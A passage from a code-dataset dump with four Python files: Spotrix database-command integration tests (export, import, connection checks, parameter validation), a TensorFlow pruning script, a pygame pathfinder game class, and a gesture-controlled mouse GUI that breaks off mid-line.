spotrix.connectors.sqla.models import SqlaTable\nfrom spotrix.databases.commands.exceptions import (\n DatabaseNotFoundError,\n DatabaseSecurityUnsafeError,\n DatabaseTestConnectionDriverError,\n DatabaseTestConnectionFailedError,\n DatabaseTestConnectionUnexpectedError,\n)\nfrom spotrix.databases.commands.export import ExportDatabasesCommand\nfrom spotrix.databases.commands.importers.v1 import ImportDatabasesCommand\nfrom spotrix.databases.commands.test_connection import TestConnectionDatabaseCommand\nfrom spotrix.databases.commands.validate import ValidateDatabaseParametersCommand\nfrom spotrix.databases.schemas import DatabaseTestConnectionSchema\nfrom spotrix.errors import ErrorLevel, SpotrixError, SpotrixErrorType\nfrom spotrix.exceptions import SpotrixCancelErrorsException, SpotrixSecurityException\nfrom spotrix.models.core import Database\nfrom spotrix.utils.core import backend, get_example_database\nfrom tests.integration_tests.base_tests import SupersetTestCase\nfrom tests.integration_tests.fixtures.birth_names_dashboard import (\n load_birth_names_dashboard_with_slices,\n)\nfrom tests.integration_tests.fixtures.energy_dashboard import (\n load_energy_table_with_slice,\n)\nfrom tests.integration_tests.fixtures.importexport import (\n database_config,\n database_metadata_config,\n dataset_config,\n dataset_metadata_config,\n)\n\n\nclass TestExportDatabasesCommand(SupersetTestCase):\n @skip(\"Flaky\")\n @patch(\"superset.security.manager.g\")\n @pytest.mark.usefixtures(\n \"load_birth_names_dashboard_with_slices\", \"load_energy_table_with_slice\"\n )\n def test_export_database_command(self, mock_g):\n mock_g.user = security_manager.find_user(\"admin\")\n\n example_db = get_example_database()\n db_uuid = example_db.uuid\n\n command = ExportDatabasesCommand([example_db.id])\n contents = dict(command.run())\n\n # TODO: this list shouldn't depend on the order in which unit tests are run\n # or on the backend; for now use a stable subset\n core_files = {\n \"metadata.yaml\",\n \"databases/examples.yaml\",\n \"datasets/examples/energy_usage.yaml\",\n \"datasets/examples/birth_names.yaml\",\n }\n expected_extra = {\n \"engine_params\": {},\n \"metadata_cache_timeout\": {},\n \"metadata_params\": {},\n \"schemas_allowed_for_csv_upload\": [],\n }\n if backend() == \"presto\":\n expected_extra = {\n **expected_extra,\n \"engine_params\": {\"connect_args\": {\"poll_interval\": 0.1}},\n }\n assert core_files.issubset(set(contents.keys()))\n\n if example_db.backend == \"postgresql\":\n ds_type = \"TIMESTAMP WITHOUT TIME ZONE\"\n elif example_db.backend == \"hive\":\n ds_type = \"TIMESTAMP\"\n elif example_db.backend == \"presto\":\n ds_type = \"VARCHAR(255)\"\n else:\n ds_type = \"DATETIME\"\n if example_db.backend == \"mysql\":\n big_int_type = \"BIGINT(20)\"\n else:\n big_int_type = \"BIGINT\"\n metadata = yaml.safe_load(contents[\"databases/examples.yaml\"])\n assert metadata == (\n {\n \"allow_csv_upload\": True,\n \"allow_ctas\": True,\n \"allow_cvas\": True,\n \"allow_run_async\": False,\n \"cache_timeout\": None,\n \"database_name\": \"examples\",\n \"expose_in_sqllab\": True,\n \"extra\": expected_extra,\n \"sqlalchemy_uri\": example_db.sqlalchemy_uri,\n \"uuid\": str(example_db.uuid),\n \"version\": \"1.0.0\",\n }\n )\n\n metadata = yaml.safe_load(contents[\"datasets/examples/birth_names.yaml\"])\n metadata.pop(\"uuid\")\n\n metadata[\"columns\"].sort(key=lambda x: x[\"column_name\"])\n expected_metadata = {\n \"cache_timeout\": None,\n \"columns\": [\n {\n \"column_name\": \"ds\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": True,\n \"python_date_format\": None,\n \"type\": ds_type,\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"gender\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": \"STRING\" if example_db.backend == \"hive\" else \"VARCHAR(16)\",\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"name\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": \"STRING\"\n if example_db.backend == \"hive\"\n else \"VARCHAR(255)\",\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"num\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": big_int_type,\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"num_california\",\n \"description\": None,\n \"expression\": \"CASE WHEN state = 'CA' THEN num ELSE 0 END\",\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": None,\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"state\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": \"STRING\" if example_db.backend == \"hive\" else \"VARCHAR(10)\",\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"num_boys\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": big_int_type,\n \"verbose_name\": None,\n },\n {\n \"column_name\": \"num_girls\",\n \"description\": None,\n \"expression\": None,\n \"filterable\": True,\n \"groupby\": True,\n \"is_active\": True,\n \"is_dttm\": False,\n \"python_date_format\": None,\n \"type\": big_int_type,\n \"verbose_name\": None,\n },\n ],\n \"database_uuid\": str(db_uuid),\n \"default_endpoint\": None,\n \"description\": \"\",\n \"extra\": None,\n \"fetch_values_predicate\": \"123 = 123\",\n \"filter_select_enabled\": True,\n \"main_dttm_col\": \"ds\",\n \"metrics\": [\n {\n \"d3format\": None,\n \"description\": None,\n \"expression\": \"COUNT(*)\",\n \"extra\": None,\n \"metric_name\": \"count\",\n \"metric_type\": \"count\",\n \"verbose_name\": \"COUNT(*)\",\n \"warning_text\": None,\n },\n {\n \"d3format\": None,\n \"description\": None,\n \"expression\": \"SUM(num)\",\n \"extra\": None,\n \"metric_name\": \"sum__num\",\n \"metric_type\": None,\n \"verbose_name\": None,\n \"warning_text\": None,\n },\n ],\n \"offset\": 0,\n \"params\": None,\n \"schema\": None,\n \"sql\": None,\n \"table_name\": \"birth_names\",\n \"template_params\": None,\n \"version\": \"1.0.0\",\n }\n expected_metadata[\"columns\"].sort(key=lambda x: x[\"column_name\"])\n assert metadata == expected_metadata\n\n @patch(\"superset.security.manager.g\")\n def test_export_database_command_no_access(self, mock_g):\n \"\"\"Test that users can't export databases they don't have access to\"\"\"\n mock_g.user = security_manager.find_user(\"gamma\")\n\n example_db = get_example_database()\n command = ExportDatabasesCommand([example_db.id])\n contents = command.run()\n with self.assertRaises(DatabaseNotFoundError):\n next(contents)\n\n @patch(\"superset.security.manager.g\")\n def test_export_database_command_invalid_database(self, mock_g):\n \"\"\"Test that an error is raised when exporting an invalid database\"\"\"\n mock_g.user = security_manager.find_user(\"admin\")\n command = ExportDatabasesCommand([-1])\n contents = command.run()\n with self.assertRaises(DatabaseNotFoundError):\n next(contents)\n\n @patch(\"superset.security.manager.g\")\n def test_export_database_command_key_order(self, mock_g):\n \"\"\"Test that they keys in the YAML have the same order as export_fields\"\"\"\n mock_g.user = security_manager.find_user(\"admin\")\n\n example_db = get_example_database()\n command = ExportDatabasesCommand([example_db.id])\n contents = dict(command.run())\n\n metadata = yaml.safe_load(contents[\"databases/examples.yaml\"])\n assert list(metadata.keys()) == [\n \"database_name\",\n \"sqlalchemy_uri\",\n \"cache_timeout\",\n \"expose_in_sqllab\",\n \"allow_run_async\",\n \"allow_ctas\",\n \"allow_cvas\",\n \"allow_csv_upload\",\n \"extra\",\n \"uuid\",\n \"version\",\n ]\n\n\nclass TestImportDatabasesCommand(SupersetTestCase):\n def test_import_v1_database(self):\n \"\"\"Test that a database can be imported\"\"\"\n contents = {\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n }\n command = ImportDatabasesCommand(contents)\n command.run()\n\n database = (\n db.session.query(Database).filter_by(uuid=database_config[\"uuid\"]).one()\n )\n assert database.allow_csv_upload\n assert database.allow_ctas\n assert database.allow_cvas\n assert not database.allow_run_async\n assert database.cache_timeout is None\n assert database.database_name == \"imported_database\"\n assert database.expose_in_sqllab\n assert database.extra == \"{}\"\n assert database.sqlalchemy_uri == \"sqlite:///test.db\"\n\n db.session.delete(database)\n db.session.commit()\n\n def test_import_v1_database_multiple(self):\n \"\"\"Test that a database can be imported multiple times\"\"\"\n num_databases = db.session.query(Database).count()\n\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n }\n command = ImportDatabasesCommand(contents, overwrite=True)\n\n # import twice\n command.run()\n command.run()\n\n database = (\n db.session.query(Database).filter_by(uuid=database_config[\"uuid\"]).one()\n )\n assert database.allow_csv_upload\n\n # update allow_csv_upload to False\n new_config = database_config.copy()\n new_config[\"allow_csv_upload\"] = False\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(new_config),\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n }\n command = ImportDatabasesCommand(contents, overwrite=True)\n command.run()\n\n database = (\n db.session.query(Database).filter_by(uuid=database_config[\"uuid\"]).one()\n )\n assert not database.allow_csv_upload\n\n # test that only one database was created\n new_num_databases = db.session.query(Database).count()\n assert new_num_databases == num_databases + 1\n\n db.session.delete(database)\n db.session.commit()\n\n def test_import_v1_database_with_dataset(self):\n \"\"\"Test that a database can be imported with datasets\"\"\"\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n \"datasets/imported_dataset.yaml\": yaml.safe_dump(dataset_config),\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n }\n command = ImportDatabasesCommand(contents)\n command.run()\n\n database = (\n db.session.query(Database).filter_by(uuid=database_config[\"uuid\"]).one()\n )\n assert len(database.tables) == 1\n assert str(database.tables[0].uuid) == \"10808100-158b-42c4-842e-f32b99d88dfb\"\n\n db.session.delete(database.tables[0])\n db.session.delete(database)\n db.session.commit()\n\n def test_import_v1_database_with_dataset_multiple(self):\n \"\"\"Test that a database can be imported multiple times w/o changing datasets\"\"\"\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n \"datasets/imported_dataset.yaml\": yaml.safe_dump(dataset_config),\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n }\n command = ImportDatabasesCommand(contents)\n command.run()\n\n dataset = (\n db.session.query(SqlaTable).filter_by(uuid=dataset_config[\"uuid\"]).one()\n )\n assert dataset.offset == 66\n\n new_config = dataset_config.copy()\n new_config[\"offset\"] = 67\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n \"datasets/imported_dataset.yaml\": yaml.safe_dump(new_config),\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n }\n command = ImportDatabasesCommand(contents, overwrite=True)\n command.run()\n\n # the underlying dataset should not be modified by the second import, since\n # we're importing a database, not a dataset\n dataset = (\n db.session.query(SqlaTable).filter_by(uuid=dataset_config[\"uuid\"]).one()\n )\n assert dataset.offset == 66\n\n db.session.delete(dataset)\n db.session.delete(dataset.database)\n db.session.commit()\n\n def test_import_v1_database_validation(self):\n \"\"\"Test different validations applied when importing a database\"\"\"\n # metadata.yaml must be present\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n }\n command = ImportDatabasesCommand(contents)\n with pytest.raises(IncorrectVersionError) as excinfo:\n command.run()\n assert str(excinfo.value) == \"Missing metadata.yaml\"\n\n # version should be 1.0.0\n contents[\"metadata.yaml\"] = yaml.safe_dump(\n {\n \"version\": \"2.0.0\",\n \"type\": \"Database\",\n \"timestamp\": \"2020-11-04T21:27:44.423819+00:00\",\n }\n )\n command = ImportDatabasesCommand(contents)\n with pytest.raises(IncorrectVersionError) as excinfo:\n command.run()\n assert str(excinfo.value) == \"Must be equal to 1.0.0.\"\n\n # type should be Database\n contents[\"metadata.yaml\"] = yaml.safe_dump(dataset_metadata_config)\n command = ImportDatabasesCommand(contents)\n with pytest.raises(CommandInvalidError) as excinfo:\n command.run()\n assert str(excinfo.value) == \"Error importing database\"\n assert excinfo.value.normalized_messages() == {\n \"metadata.yaml\": {\"type\": [\"Must be equal to Database.\"]}\n }\n\n # must also validate datasets\n broken_config = dataset_config.copy()\n del broken_config[\"table_name\"]\n contents[\"metadata.yaml\"] = yaml.safe_dump(database_metadata_config)\n contents[\"datasets/imported_dataset.yaml\"] = yaml.safe_dump(broken_config)\n command = ImportDatabasesCommand(contents)\n with pytest.raises(CommandInvalidError) as excinfo:\n command.run()\n assert str(excinfo.value) == \"Error importing database\"\n assert excinfo.value.normalized_messages() == {\n \"datasets/imported_dataset.yaml\": {\n \"table_name\": [\"Missing data for required field.\"],\n }\n }\n\n def test_import_v1_database_masked_password(self):\n \"\"\"Test that database imports with masked passwords are rejected\"\"\"\n masked_database_config = database_config.copy()\n masked_database_config[\n \"sqlalchemy_uri\"\n ] = \"postgresql://username:XXXXXXXXXX@host:12345/db\"\n contents = {\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n \"databases/imported_database.yaml\": yaml.safe_dump(masked_database_config),\n }\n command = ImportDatabasesCommand(contents)\n with pytest.raises(CommandInvalidError) as excinfo:\n command.run()\n assert str(excinfo.value) == \"Error importing database\"\n assert excinfo.value.normalized_messages() == {\n \"databases/imported_database.yaml\": {\n \"_schema\": [\"Must provide a password for the database\"]\n }\n }\n\n @patch(\"superset.databases.commands.importers.v1.import_dataset\")\n def test_import_v1_rollback(self, mock_import_dataset):\n \"\"\"Test than on an exception everything is rolled back\"\"\"\n num_databases = db.session.query(Database).count()\n\n # raise an exception when importing the dataset, after the database has\n # already been imported\n mock_import_dataset.side_effect = Exception(\"A wild exception appears!\")\n\n contents = {\n \"databases/imported_database.yaml\": yaml.safe_dump(database_config),\n \"datasets/imported_dataset.yaml\": yaml.safe_dump(dataset_config),\n \"metadata.yaml\": yaml.safe_dump(database_metadata_config),\n }\n command = ImportDatabasesCommand(contents)\n with pytest.raises(Exception) as excinfo:\n command.run()\n assert str(excinfo.value) == \"Import database failed for an unknown reason\"\n\n # verify that the database was not added\n new_num_databases = db.session.query(Database).count()\n assert new_num_databases == num_databases\n\n\nclass TestTestConnectionDatabaseCommand(SupersetTestCase):\n @mock.patch(\"superset.databases.dao.Database.get_sqla_engine\")\n @mock.patch(\n \"superset.databases.commands.test_connection.event_logger.log_with_context\"\n )\n def test_connection_db_exception(self, mock_event_logger, mock_get_sqla_engine):\n \"\"\"Test to make sure event_logger is called when an exception is raised\"\"\"\n database = get_example_database()\n mock_get_sqla_engine.side_effect = Exception(\"An error has occurred!\")\n db_uri = database.sqlalchemy_uri_decrypted\n json_payload = {\"sqlalchemy_uri\": db_uri}\n command_without_db_name = TestConnectionDatabaseCommand(\n security_manager.find_user(\"admin\"), json_payload\n )\n\n with pytest.raises(DatabaseTestConnectionUnexpectedError) as excinfo:\n command_without_db_name.run()\n assert str(excinfo.value) == (\n \"Unexpected error occurred, please check your logs for details\"\n )\n mock_event_logger.assert_called()\n\n @mock.patch(\"superset.databases.dao.Database.get_sqla_engine\")\n @mock.patch(\n \"superset.databases.commands.test_connection.event_logger.log_with_context\"\n )\n def test_connection_do_ping_exception(\n self, mock_event_logger, mock_get_sqla_engine\n ):\n \"\"\"Test to make sure do_ping exceptions gets captured\"\"\"\n database = get_example_database()\n mock_get_sqla_engine.return_value.dialect.do_ping.side_effect = Exception(\n \"An error has occurred!\"\n )\n db_uri = database.sqlalchemy_uri_decrypted\n json_payload = {\"sqlalchemy_uri\": db_uri}\n command_without_db_name = TestConnectionDatabaseCommand(\n security_manager.find_user(\"admin\"), json_payload\n )\n\n with pytest.raises(DatabaseTestConnectionFailedError) as excinfo:\n command_without_db_name.run()\n assert (\n excinfo.value.errors[0].error_type\n == SpotrixErrorType.GENERIC_DB_ENGINE_ERROR\n )\n\n @mock.patch(\"superset.databases.dao.Database.get_sqla_engine\")\n @mock.patch(\n \"superset.databases.commands.test_connection.event_logger.log_with_context\"\n )\n def test_connection_superset_security_connection(\n self, mock_event_logger, mock_get_sqla_engine\n ):\n \"\"\"Test to make sure event_logger is called when security\n connection exc is raised\"\"\"\n database = get_example_database()\n mock_get_sqla_engine.side_effect = SpotrixSecurityException(\n SpotrixError(error_type=500, message=\"test\", level=\"info\")\n )\n db_uri = database.sqlalchemy_uri_decrypted\n json_payload = {\"sqlalchemy_uri\": db_uri}\n command_without_db_name = TestConnectionDatabaseCommand(\n security_manager.find_user(\"admin\"), json_payload\n )\n\n with pytest.raises(DatabaseSecurityUnsafeError) as excinfo:\n command_without_db_name.run()\n assert str(excinfo.value) == (\"Stopped an unsafe database connection\")\n\n mock_event_logger.assert_called()\n\n @mock.patch(\"superset.databases.dao.Database.get_sqla_engine\")\n @mock.patch(\n \"superset.databases.commands.test_connection.event_logger.log_with_context\"\n )\n def test_connection_db_api_exc(self, mock_event_logger, mock_get_sqla_engine):\n \"\"\"Test to make sure event_logger is called when DBAPIError is raised\"\"\"\n database = get_example_database()\n mock_get_sqla_engine.side_effect = DBAPIError(\n statement=\"error\", params={}, orig={}\n )\n db_uri = database.sqlalchemy_uri_decrypted\n json_payload = {\"sqlalchemy_uri\": db_uri}\n command_without_db_name = TestConnectionDatabaseCommand(\n security_manager.find_user(\"admin\"), json_payload\n )\n\n with pytest.raises(DatabaseTestConnectionFailedError) as excinfo:\n command_without_db_name.run()\n assert str(excinfo.value) == (\n \"Connection failed, please check your connection settings\"\n )\n\n mock_event_logger.assert_called()\n\n\n@mock.patch(\"superset.db_engine_specs.base.is_hostname_valid\")\n@mock.patch(\"superset.db_engine_specs.base.is_port_open\")\n@mock.patch(\"superset.databases.commands.validate.DatabaseDAO\")\ndef test_validate(DatabaseDAO, is_port_open, is_hostname_valid, app_context):\n \"\"\"\n Test parameter validation.\n \"\"\"\n is_hostname_valid.return_value = True\n is_port_open.return_value = True\n\n payload = {\n \"engine\": \"postgresql\",\n \"parameters\": {\n \"host\": \"localhost\",\n \"port\": 5432,\n \"username\": \"superset\",\n \"password\": \"superset\",\n \"database\": \"test\",\n \"query\": {},\n },\n }\n command = ValidateDatabaseParametersCommand(None, payload)\n command.run()\n\n\n@mock.patch(\"superset.db_engine_specs.base.is_hostname_valid\")\n@mock.patch(\"superset.db_engine_specs.base.is_port_open\")\ndef test_validate_partial(is_port_open, is_hostname_valid, app_context):\n \"\"\"\n Test parameter validation when only some parameters are present.\n \"\"\"\n is_hostname_valid.return_value = True\n is_port_open.return_value = True\n\n payload = {\n \"engine\": \"postgresql\",\n \"parameters\": {\n \"host\": \"localhost\",\n \"port\": 5432,\n \"username\": \"\",\n \"password\": \"superset\",\n \"database\": \"test\",\n \"query\": {},\n },\n }\n command = ValidateDatabaseParametersCommand(None, payload)\n with pytest.raises(SpotrixCancelErrorsException) as excinfo:\n command.run()\n assert excinfo.value.errors == [\n SpotrixError(\n message=\"One or more parameters are missing: username\",\n error_type=SpotrixErrorType.CONNECTION_MISSING_PARAMETERS_ERROR,\n level=ErrorLevel.WARNING,\n extra={\n \"missing\": [\"username\"],\n \"issue_codes\": [\n {\n \"code\": 1018,\n \"message\": \"Issue 1018 - One or more parameters needed to configure a database are missing.\",\n }\n ],\n },\n )\n ]\n\n\n@mock.patch(\"superset.db_engine_specs.base.is_hostname_valid\")\ndef test_validate_partial_invalid_hostname(is_hostname_valid, app_context):\n \"\"\"\n Test parameter validation when only some parameters are present.\n \"\"\"\n is_hostname_valid.return_value = False\n\n payload = {\n \"engine\": \"postgresql\",\n \"parameters\": {\n \"host\": \"localhost\",\n \"port\": None,\n \"username\": \"\",\n \"password\": \"\",\n \"database\": \"\",\n \"query\": {},\n },\n }\n command = ValidateDatabaseParametersCommand(None, payload)\n with pytest.raises(SpotrixCancelErrorsException) as excinfo:\n command.run()\n assert excinfo.value.errors == [\n SpotrixError(\n message=\"One or more parameters are missing: database, port, username\",\n error_type=SpotrixErrorType.CONNECTION_MISSING_PARAMETERS_ERROR,\n level=ErrorLevel.WARNING,\n extra={\n \"missing\": [\"database\", \"port\", \"username\"],\n \"issue_codes\": [\n {\n \"code\": 1018,\n \"message\": \"Issue 1018 - One or more parameters needed to configure a database are missing.\",\n }\n ],\n },\n ),\n SpotrixError(\n message=\"The hostname provided can't be resolved.\",\n error_type=SpotrixErrorType.CONNECTION_INVALID_HOSTNAME_ERROR,\n level=ErrorLevel.ERROR,\n extra={\n \"invalid\": [\"host\"],\n \"issue_codes\": [\n {\n \"code\": 1007,\n \"message\": \"Issue 1007 - The hostname provided can't be resolved.\",\n }\n ],\n },\n ),\n ]\n","repo_name":"Spotrix/spotrix","sub_path":"tests/integration_tests/databases/commands_tests.py","file_name":"commands_tests.py","file_ext":"py","file_size_in_byte":28020,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"78"} +{"seq_id":"31043691431","text":"# https://www.tensorflow.org/model_optimization/guide/pruning/pruning_with_keras\n\nimport tensorflow_model_optimization as tfmot\n\nprune_low_magnitude = tfmot.sparsity.keras.prune_low_magnitude\n\n# Compute end step to finish pruning after 2 epochs.\nbatch_size = 128\nepochs = 2\nvalidation_split = 0.1 # 10% of training set will be used for validation set.\n\nnum_images = train_images.shape[0] * (1 - validation_split)\nend_step = np.ceil(num_images / batch_size).astype(np.int32) * epochs\n\n# Define model for pruning.\npruning_params = {\n 'pruning_schedule': tfmot.sparsity.keras.PolynomialDecay(initial_sparsity=0.50,\n final_sparsity=0.80,\n begin_step=0,\n end_step=end_step)\n}\n\nmodel_for_pruning = prune_low_magnitude(model, **pruning_params)\n\n# `prune_low_magnitude` requires a recompile.\nmodel_for_pruning.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(\n from_logits=True),\n metrics=['accuracy'])\n\nmodel_for_pruning.summary()\n\n\nlogdir = tempfile.mkdtemp()\n\ncallbacks = [\n tfmot.sparsity.keras.UpdatePruningStep(),\n tfmot.sparsity.keras.PruningSummaries(log_dir=logdir),\n]\n\nmodel_for_pruning.fit(train_images, train_labels,\n batch_size=batch_size, epochs=epochs, validation_split=validation_split,\n callbacks=callbacks)\n\n\nmodel_for_export = tfmot.sparsity.keras.strip_pruning(model_for_pruning)\n\n_, pruned_keras_file = tempfile.mkstemp('.h5')\ntf.keras.models.save_model(\n model_for_export, pruned_keras_file, include_optimizer=False)\nprint('Saved pruned Keras model to:', pruned_keras_file)\n","repo_name":"ylhyra/icelandic-hyphenation-neural","sub_path":"keras/prune.py","file_name":"prune.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"23538892776","text":"import pygame\n\nfrom src.interface.maze import Maze\nfrom src.interface.menu import Menu\nfrom src.pathfinder.pathfinder import AStar\nfrom src.properties.interface import (COLORS, MENU_BTNS, MENU_POS, MENU_SIZE,\n ROWS, WIDTH)\n\n\nclass Game:\n def __init__(self):\n self._maze = self._create_maze()\n self._menus = self._build_menus()\n\n @property\n def maze(self):\n return self._maze\n\n @property\n def current_menu(self):\n return self._menus[0]\n\n @staticmethod\n def _create_maze():\n pathfinder = AStar()\n new_maze = Maze(WIDTH, ROWS, pathfinder)\n new_maze.create_grid()\n return new_maze\n\n @staticmethod\n def _build_menus():\n menu_list = []\n for k, buttons in MENU_BTNS:\n menu = Menu()\n for name, text in buttons:\n menu.add_button(name, text)\n menu_list.append(menu)\n return menu_list\n\n def click_button(self, mouse):\n for btn in self.current_menu.buttons.values():\n if btn == self.current_menu.buttons.get(\"find\", False) and not (\n self._maze.pathfinder.start_node and self._maze.pathfinder.end_node\n ):\n continue\n if (\n btn.pos[0] < mouse[0] < btn.pos[0] + btn.size[0]\n and btn.pos[1] < mouse[1] < btn.pos[1] + btn.size[1]\n ):\n btn.active = not btn.active\n else:\n btn.active = False\n\n def next_menu(self, win):\n self._menus.pop(0)\n pygame.draw.rect(win, COLORS[\"BLACK\"], MENU_POS + MENU_SIZE)\n\n def display_message(self, win, text):\n font = pygame.font.Font(\"freesansbold.ttf\", 40)\n text_surf = font.render(text, True, COLORS[\"RED\"], COLORS[\"BLACK\"])\n text_rect = text_surf.get_rect()\n text_rect.center = (0 + self.maze.width / 2, 0 + self.maze.width / 2)\n win.blit(text_surf, text_rect)\n","repo_name":"ndestrieux/pathfinder","sub_path":"src/game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33515788110","text":"import numpy as np # required for cv2 library\nimport pyautogui, sys, time, cv2 #Used to import support for mouse functions\n\nfrom tkinter import * #required for tk library\nimport tkinter.font as tkFont\nfrom tkvideo import tkvideo\nfrom PIL import ImageTk,Image #used for importing images\n\n#==========================================#\n# class to set and get the cooldown between clicks\nclass clickTime:\n\tdef __init__(self):\n\t\tself.previous_click = time.time()\n\tdef setPrevious(self,_time):\n\t\tself.previous_click = _time\n\tdef getPrevious(self):\n\t\treturn self.previous_click\n\n# class to control the cursor position\nclass mousePosition:\n\tdef __init__(self):\n\t\tself.s_x = 960\n\t\tself.s_y = 540\n\tdef increases_x(self,sens):\n\t\tself.s_x += sens\n\tdef decreases_x(self,sens):\n\t\tself.s_x -= sens\n\tdef increases_y(self,sens):\n\t\tself.s_y += sens\n\tdef decreases_y(self,sens):\n\t\tself.s_y -= sens\n\tdef gets_x(self):\n\t\treturn self.s_x\n\tdef gets_y(self):\n\t\treturn self.s_y\n\n# function to control the mouse functionality and control cooldowns \ndef clickCooldown(click_time, cooldown, button_type, click_num):\n\tclick_current_time = time.time()\n\tdiff = click_current_time - click_time # diff is difference in time since first click\n\tif (diff > cooldown):\n\t\tif (click_num == 2):\n\t\t\tprint(\"Double click\")\n\t\telse:\n\t\t\tprint(button_type + \"click\")\n\t\tpyautogui.click(button = button_type, clicks = click_num)\n\t\treturn click_current_time\n\n\telse:\n\t\tif (click_num == 2):\n\t\t\tprint(\"Please wait, double click is on a cooldown\")\n\t\telse:\n\t\t\tprint(\"Please wait, \" + button_type + \" click is on a cooldown\")\n\t\treturn click_time\n\ndef calcArea(height, width):\n\treturn height * width\n\ndef empty(a):\n pass\n\n# ========================================================= GUI METHODS ========================================================= #\n\n# method to close the window - will be called when user clicks exit\ndef clickExit():\n\tvideo.quit()\n\n# method to create the contact us window - called when user clicks contact us on the window label\ndef createContactUsWindow():\n contact_us_window = Tk()\n contact_us_window.title(\"Contact Us\") # set title\n contact_us_window.config(bg=\"#F1D93E\") # sets background colour\n contact_us_window.geometry(\"260x75+30+30\") # sets resolution size\n contact_us_window.resizable(False,False)\n contact_us_window.iconbitmap('media/bitmaplogo.ico') \n\n contact_email_label = Label(contact_us_window, text= \"Email: onlyhands.uol@gmail.com\",bg=\"#F1D93E\") # contact details\n contact_email_label.grid(row = 0, column = 0) # places email text\n\n contact_us_close_button = Button(contact_us_window, text= \"Close\", command = contact_us_window.destroy, cursor= \"tcross\",bg=\"#F1D93E\", activebackground = \"lightgray\", activeforeground = \"white\")\n contact_us_close_button.grid(row = 2, column = 0)\n\n# method to create the help window - called when user clicks help on the window label\ndef createHelpWindow():\n help_index_window = Tk()\n help_index_window.title(\"Help Index\")\n help_index_window.iconbitmap('media/bitmaplogo.ico')\n help_index_window.config(bg=\"#F1D93E\")\n help_index_window.geometry(\"600x850+30+30\")\n\n help_title_font = tkFont.Font(family=\"verdana\", size = 30, weight = \"bold\")\n help_body_font = tkFont.Font(family=\"verdana\", size = 15)\n help_index_window.resizable(False,False)\n\n help_title_label = Label(help_index_window, font = help_title_font, text= \"Help Index:\", bg=\"#F1D93E\", width =10, height = 2)\n help_title_label.grid(row = 0, column = 0)\n\n neighbour_help_label = Label(help_index_window, text= \"Neighbours is used in the program to specify how many neighbours each\\n candidate needs to retain it,\\nThe parameter effects the quantity of gestures recognised \", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width =60, height = 5)\n neighbour_help_label.grid(row = 1, column = 0)\n\n scale_help_label = Label(help_index_window, text= \"Scale is a paramater that specifies how much the image size is reduced,\\nif no gestures are being detected reduce this number\", font = help_body_font, bg=\"#F1D93E\", anchor = W, justify = LEFT, width =60, height = 5)\n scale_help_label.grid(row = 2, column = 0)\n\n min_area_help_label = Label(help_index_window, text= \"The Min. Area slider acts as a way to reduce false recognition of gestures\", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width =60, height = 5)\n min_area_help_label.grid(row = 3, column = 0)\n\n brightness_help_label = Label(help_index_window, text= \"The brightness slider changes the brightness of the frame.\", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width =60, height = 5)\n brightness_help_label.grid(row = 4, column = 0)\n\n sensitivity_help_label = Label(help_index_window, text= \"The senstivity slider is to increase or decrease\\n how fast the cursour moves\", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width =60, height = 5)\n sensitivity_help_label.grid(row = 5, column = 0)\n\n cooldown_help_label = Label(help_index_window, text= \"The Click Cooldown slider is to increase or decrease time\\n between clicking the same button\", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width =60, height = 5)\n cooldown_help_label.grid(row = 6, column = 0)\n\n activation_help_label = Label(help_index_window, text= \"The activation checkbox when selected allows the\\n program to take control of the mouse\", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width 